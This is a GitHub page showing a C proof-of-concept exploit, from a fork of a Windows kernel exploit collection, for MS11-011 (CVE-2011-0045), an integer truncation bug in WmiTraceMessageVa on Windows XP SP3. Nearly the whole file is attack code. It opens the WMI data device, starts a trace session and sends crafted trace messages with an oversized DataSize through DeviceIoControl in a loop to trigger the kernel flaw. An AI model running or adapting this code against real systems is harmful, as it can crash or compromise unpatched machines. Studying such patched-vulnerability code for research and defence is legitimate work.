forked from SecWiki/windows-kernel-exploits
-
Notifications
You must be signed in to change notification settings - Fork 0
/
16262.c
464 lines (390 loc) · 13.3 KB
/
16262.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
/*
# Exploit Title: MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC
# Date: 2011-03-01
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link:
# Version: prior to MS11-011
# Tested on: Win XP SP3
# CVE : CVE-2011-0045
# Status : Patched
# Binary Analysis: http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html
*/
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <strsafe.h>
#include <wmistr.h>
#include <evntrace.h>
#define WmiTraceMessageCode 40
#define WmiCreateUMLogger 84
#define WmiStartLoggerCode 32
#define IOCTL_WMI_TRACE_MESSAGE \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,
METHOD_NEITHER, FILE_WRITE_ACCESS)
/*
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
#define IOCTL_WMI_TRACE_MESSAGE \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,
METHOD_NEITHER, FILE_WRITE_ACCESS)
#define IOCTL_WMI_CREATE_UM_LOGGER CTL_CODE(FILE_DEVICE_UNKNOWN,
WmiCreateUMLogger, METHOD_BUFFERED, FILE_READ_ACCESS)
#define IOCTL_WMI_START_LOGGER \
CTL_CODE(FILE_DEVICE_UNKNOWN, WmiStartLoggerCode,
METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef struct _STRING64 {
USHORT Length;
USHORT MaximumLength;
ULONGLONG Buffer;
} STRING64;
typedef STRING64 *PSTRING64;
typedef STRING64 UNICODE_STRING64;
typedef UNICODE_STRING64 *PUNICODE_STRING64;
//
// WNODE definition
typedef struct _WNODE_HEADER
{
ULONG BufferSize; // Size of entire buffer inclusive of this
ULONG
ULONG ProviderId; // Provider Id of driver returning this buffer
union
{
ULONG64 HistoricalContext; // Logger use
struct
{
ULONG Version; // Reserved
ULONG Linkage; // Linkage field reserved for WMI
};
};
union
{
ULONG CountLost; // Reserved
HANDLE KernelHandle; // Kernel handle for data block
LARGE_INTEGER TimeStamp; // Timestamp as returned in units of 100ns
// since 1/1/1601
};
GUID Guid; // Guid for data block returned with results
ULONG ClientContext;
ULONG Flags; // Flags, see below
} WNODE_HEADER, *PWNODE_HEADER;
//
// Logger configuration and running statistics. This structure is used
// by WMI.DLL to convert to UNICODE_STRING
//
// begin_wmikm
typedef struct _WMI_LOGGER_INFORMATION {
WNODE_HEADER Wnode; // Had to do this since wmium.h comes later
//
// data provider by caller
ULONG BufferSize; // buffer size for logging (in
kbytes)
ULONG MinimumBuffers; // minimum to preallocate
ULONG MaximumBuffers; // maximum buffers allowed
ULONG MaximumFileSize; // maximum logfile size (in MBytes)
ULONG LogFileMode; // sequential, circular
ULONG FlushTimer; // buffer flush timer, in seconds
ULONG EnableFlags; // trace enable flags
LONG AgeLimit; // aging decay time, in minutes
ULONG Wow; // TRUE if the logger started
under WOW64
union {
HANDLE LogFileHandle; // handle to logfile
ULONG64 LogFileHandle64;
};
// data returned to caller
// end_wmikm
union {
// begin_wmikm
ULONG NumberOfBuffers; // no of buffers in use
// end_wmikm
ULONG InstanceCount; // Number of Provider Instances
};
union {
// begin_wmikm
ULONG FreeBuffers; // no of buffers free
// end_wmikm
ULONG InstanceId; // Current Provider's Id for
UmLogger
};
union {
// begin_wmikm
ULONG EventsLost; // event records lost
// end_wmikm
ULONG NumberOfProcessors; // Passed on to UmLogger
};
// begin_wmikm
ULONG BuffersWritten; // no of buffers written to file
ULONG LogBuffersLost; // no of logfile write failures
ULONG RealTimeBuffersLost; // no of rt delivery failures
union {
HANDLE LoggerThreadId; // thread id of Logger
ULONG64 LoggerThreadId64; // thread is of Logger
};
union {
UNICODE_STRING LogFileName; // used only in WIN64
UNICODE_STRING64 LogFileName64; // Logfile name: only in WIN32
};
// mandatory data provided by caller
union {
UNICODE_STRING LoggerName; // Logger instance name in WIN64
UNICODE_STRING64 LoggerName64; // Logger Instance name in WIN32
};
// private
union {
PVOID Checksum;
ULONG64 Checksum64;
};
union {
PVOID LoggerExtension;
ULONG64 LoggerExtension64;
};
} WMI_LOGGER_INFORMATION, *PWMI_LOGGER_INFORMATION;
*/
typedef struct _WMI_TRACE_MESSAGE_PACKET { // must be ULONG!!
USHORT MessageNumber; // The message Number, index
of messages by GUID
// Or ComponentID
USHORT OptionFlags ; // Flags associated with the
message
} WMI_TRACE_MESSAGE_PACKET, *PWMI_TRACE_MESSAGE_PACKET;
typedef struct _MESSAGE_TRACE_HEADER {
union {
ULONG Marker;
struct {
USHORT Size; // Total Size of the
message including header
UCHAR Reserved; // Unused and reserved
UCHAR Version; // The message structure
type (TRACE_MESSAGE_FLAG)
};
};
union {
ULONG Header; // both sizes must be the same!
WMI_TRACE_MESSAGE_PACKET Packet;
};
} MESSAGE_TRACE_HEADER, *PMESSAGE_TRACE_HEADER;
typedef struct _MESSAGE_TRACE {
MESSAGE_TRACE_HEADER MessageHeader ;
UCHAR Data ;
} MESSAGE_TRACE, *PMESSAGE_TRACE ;
//
// Structure used to pass user log messages to the kernel
//
typedef struct _MESSAGE_TRACE_USER {
MESSAGE_TRACE_HEADER MessageHeader ;
ULONG MessageFlags ;
ULONG64 LoggerHandle ;
GUID MessageGuid ;
ULONG DataSize ;
UCHAR Data ;
} MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ;
/*
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type
SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef union
{
HANDLE Handle;
ULONG64 Handle64;
ULONG32 Handle32;
} HANDLE3264, *PHANDLE3264;
typedef struct
{
IN POBJECT_ATTRIBUTES ObjectAttributes;
IN GUID ControlGuid;
OUT HANDLE3264 ReplyHandle;
OUT ULONG ReplyCount;
} WMICREATEUMLOGGER, *PWMICREATEUMLOGGER;
*/
//#define LOGFILE_PATH L"<FULLPATHTOLOGFILE.etl>"
#define LOGFILE_PATH L"test.etl"
//#define LOGSESSION_NAME L"My Event Trace Session"
#define LOGSESSION_NAME L"test"
// GUID that identifies your trace session.
// Remember to create your own session GUID.
// {94BE0BF2-885F-4972-8461-A7D83B53F1AD}
static const GUID SessionGuid =
{ 0x94be0bf2, 0x885f, 0x4972, { 0x84, 0x61, 0xa7, 0xd8, 0x3b, 0x53,
0xf1, 0xad } };
// GUID that identifies the provider that you want
// to enable to your session.
// {7C214FB1-9CAC-4b8d-BAED-7BF48BF63BB3}
static const GUID ProviderGuid =
{ 0x7c214fb1, 0x9cac, 0x4b8d, { 0xba, 0xed, 0x7b, 0xf4, 0x8b, 0xf6,
0x3b, 0xb3 } };
int trigger(HANDLE hDevice);
int start_usermode_logger(HANDLE hDevice);
int start_logger(HANDLE hDevice);
HANDLE open_device();
int main(int argc, char **argv)
{
HANDLE hDevice;
if((hDevice = open_device()) == INVALID_HANDLE_VALUE){
printf("open_device failed!\n");
return 0;
}
if(!start_usermode_logger(hDevice)){
printf("start_usermode_logger failed!\n");
return 0;
}
/*
if(!start_logger(hDevice)){
printf("start_logger failed!\n");
return 0;
}
*/
trigger(hDevice);
return 0;
}
HANDLE open_device()
{
char deviceName[] = "\\\\.\\WMIDataDevice";
HANDLE hDevice;
if ( (hDevice = CreateFileA(deviceName,
GENERIC_READ|GENERIC_WRITE,
//0,
0,
0,
OPEN_EXISTING,
0,
NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device succesfully opened!\n");
return hDevice;
}
else
{
printf("Error: Error opening device at NULL premission\n");
return INVALID_HANDLE_VALUE;
}
}
int start_usermode_logger(HANDLE hDevice)
{
ULONG status = ERROR_SUCCESS;
TRACEHANDLE SessionHandle = 0;
EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
ULONG BufferSize = 0;
BOOL TraceOn = TRUE;
// Allocate memory for the session properties. The memory must
// be large enough to include the log file name and session name,
// which get appended to the end of the session properties structure.
BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) +
sizeof(LOGSESSION_NAME);
pSessionProperties = (EVENT_TRACE_PROPERTIES*) malloc(BufferSize);
if (NULL == pSessionProperties)
{
wprintf(L"Unable to allocate %d bytes for properties
structure.\n", BufferSize);
return 0;
}
// Set the session properties. You only append the log file name
// to the properties structure; the StartTrace function appends
// the session name for you.
ZeroMemory(pSessionProperties, BufferSize);
pSessionProperties->Wnode.BufferSize = BufferSize;
pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
pSessionProperties->Wnode.Guid = SessionGuid;
pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR |
EVENT_TRACE_USE_PAGED_MEMORY;
pSessionProperties->MaximumFileSize = 5; // 5 MB
pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
pSessionProperties->LogFileNameOffset =
sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
StringCbCopy((LPWSTR)((char*)pSessionProperties +
pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);
// Create the trace session.
status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME,
pSessionProperties);
if (ERROR_SUCCESS != status)
{
wprintf(L"StartTrace() failed with %lu\n", status);
return 0;
}
// Enable the providers that you want to log events to your session.
status = EnableTrace(
TraceOn, // TRUE enables the provider
0, // No enable flags
TRACE_LEVEL_INFORMATION, // Enable informational, warning, error
and critical events
(LPCGUID)&ProviderGuid, // Provider to enable
SessionHandle // Session handle from StartTrace
);
if (ERROR_SUCCESS != status)
{
wprintf(L"EnableTrace() failed with %lu\n", status);
TraceOn = FALSE;
return 0;
}
wprintf(L"Run the provider application. Then hit any key to stop the
session.\n");
return 1;
}
int trigger(HANDLE hDevice)
{
DWORD cb, inlen, outlen;
char *buff, *buff_out = NULL;
DWORD result = 0;
unsigned char str[] = "fuckdata";
MESSAGE_TRACE_USER Message;
Message.MessageHeader.Marker = 0xBEBEBEBE;
Message.MessageHeader.Header = 0xEFEFEFEF;
Message.MessageFlags = 0xC0C0DEDE;
//Message.LoggerHandle = 0xC0DEC0DEDEADDEAD;
//Message.LoggerHandle = 0xC0DEC0DE12340001;//last WORD should be in
1 < n < 40
Message.LoggerHandle = 0xC0DEC0DE12340000;//last WORD should be in 1
< n < 40
Message.MessageGuid.Data1 = 0xC0DEDEAD;
Message.MessageGuid.Data2 = 0xDEC0;
Message.MessageGuid.Data3 = 0xDEDE;
memcpy(Message.MessageGuid.Data4, str, 8);
//Message.DataSize = 0xDEADBEEF;
//Message.DataSize = 0x0000FFFE;//in fixed versioon should be < 0x1FD0
Message.DataSize = 0x00010FF0;//in fixed versioon should be < 0x1FD0
Message.Data = '0';
//DWORD ioctl = 0x2280A3;
buff_out = (char*)malloc(0x2000);
if(!buff_out){
printf("malloc failed");
return 0;
}
memset(buff_out, 0x0, 0x2000);
cb = 0;
buff = (char*)malloc(0x20000);
if(!buff){
printf("malloc failed");
return 0;
}
memset(buff, 'A', 0x20000-1);
outlen = 0x0;
inlen = 0x15000;
memcpy(buff, &Message, 0x30);
//result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,
(LPVOID)&Message, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
for(int i =0; i< 0x40; i++){
Message.LoggerHandle++;
memset(buff, 'A', 0x20000-1);
memcpy(buff, &Message, 0x30);
result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,
(LPVOID)buff, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
printf("ioctl = 0x%08X, id = %d, result = %d\n",
IOCTL_WMI_TRACE_MESSAGE, i, result);
}
printf("done!");
free(buff);
}